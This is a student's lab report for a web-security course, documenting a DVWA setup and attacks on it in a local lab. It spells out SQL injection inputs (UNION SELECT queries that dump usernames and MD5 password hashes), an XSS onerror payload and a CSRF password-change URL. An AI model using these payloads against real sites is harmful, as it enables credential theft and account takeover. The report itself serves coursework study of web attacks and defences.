20232403 2025-2026-1 《网络与系统攻防技术》实验八实验报告
20232403 2025-2026-1 《网络与系统攻防技术》实验八实验报告
1.实验内容
搭建Apache、PHP、MySQL环境及DVWA平台
实践了SQL注入、XSS等攻击与防御。
2.实验过程
2.1Web前端HTML
sudo systemctl status apache2检查Apache状态

Kali Linux已经预装了Apache,但是Apache服务当前是停止状态。
sudo systemctl start apache2启动Apache服务
sudo systemctl enable apache2设置Apache开机自启
sudo systemctl status apache2检查状态确认已启动
sudo netstat -tulpn | grep :80查看是否在监听80端口
curl http://127.0.0.1/测试Apache是否正常工作


Apache已经成功启动并正常运行。
然后创建实验文件
进入到/var/www/html目录,创建一个表单
HTML表单与GET/POST方法
<h2>GET方法表单</h2>
<form action="process.php" method="GET">
用户名: <input type="text" name="username"><br>
密码: <input type="password" name="password"><br>
<input type="submit" value="GET提交">
</form>
<h2>POST方法表单</h2>
<form action="process.php" method="POST">
用户名: <input type="text" name="username"><br>
密码: <input type="password" name="password"><br>
<input type="submit" value="POST提交">
</form>
<h2>Apache控制</h2>
<p>启动Apache: <code>sudo systemctl start apache2</code></p>
<p>停止Apache: <code>sudo systemctl stop apache2</code></p>
<p>重启Apache: <code>sudo systemctl restart apache2</code></p>
<h2>理解要点</h2>
<p>1. GET: 数据在URL中可见</p>
<p>2. POST: 数据在URL中不可见</p>
创建处理表单的PHP文件

访问表单页面:

测试GET方法:

测试POST方法:

从结果可以理解GET与POST的区别
GET数据在URL中可见,可以被收藏、分享,而POST数据不在URL中,更安全,适合传输密码等敏感信息。
2.2Web前端javascipt
javascipt验证规则代码:


结果测试:

测试XSS攻击:

2.3Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
- 检查并启动MariaDB
sudo systemctl start mariadb - 创建实验数据库
CREATE DATABASE web_lab; - 使用这个数据库
USE web_lab; - 创建用户表
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50) UNIQUE,
password VARCHAR(50)
); - 插入3条测试数据
INSERT INTO users (username, password) VALUES
('admin', 'admin123'),
('user1', 'pass123'),
('test', 'test123'); - 查看数据是否插入成功
SELECT * FROM users;

SQL注入测试


XSS测试
输入:<img src=x onerror=alert(20232403)>

注意这句代码一定要括起来,如果不这么做,他甚至会攻击我的实验报告。

2.4安装DVWA,并完成SQL注入、XSS、CSRF攻击。
SQL注入

输入正常数据,可以查询到数据条目
输入1'报错
输入1' and '1' ='1,可以看到返回数据

由此可以看出是字符型注入。
输入1' order by 1#查看返回数据

后面会被注释掉,使用这种方法注释掉末尾的单引号,避免语法错误。
输入1' order by 2#

输入1' order by 3#报错,说明字段只有2列.

输入1' union select database(),user()#进行查询

我们可以通过返回数据,得知当前网站使用数据库为 dvwa,当前执行查询用户名为root@localhost。
再输入1' union select version(),@@version_compile_os#进行查询:

我们可以通过返回数据,得知当前数据库版本为5.7.26;当前操作系统为win64。
输入1' union select user,password from users # 进行查询

可以看到用户名和密码,密码采用md5进行加密。
以admin账户为例,加密密码为5f4dcc3b5aa765d61d8327deb882cf99

使用在线工具破解后真实密码为password。
XSS攻击
1.XSS(DOM)(DOM型跨站脚本攻击)
直接在URL处增加payloaddefault=

注入的payload执行成功。
XSS (Reflected)(反射型跨站脚本攻击)
输入查看返回结果

成功弹窗,说明存在XSS漏洞。
CSRF攻击
尝试两次密码不一致,分别是20232403和20242403

此时页面顶部URLhttp://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=1234&Change=Change#
为修改密码的链接
当我们打开另外一个新页面,在顶部URL中输入http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=20232403&password_conf=20232403&Change=Change#,
可以看到密码成功修改了。

3.问题及解决方案
- 问题1:创建表单后进行测试,前端页面出现大量乱码

4.学习感悟、思考等
通过这次系统的Web安全实验,我构建了一个Web应用环境,感觉很难,但也有很多收获。学习到SQL注入,XSS攻击等web攻击手段,前后端验证的对比让我感受到web安全的重要性。

浙公网安备 33010602011771号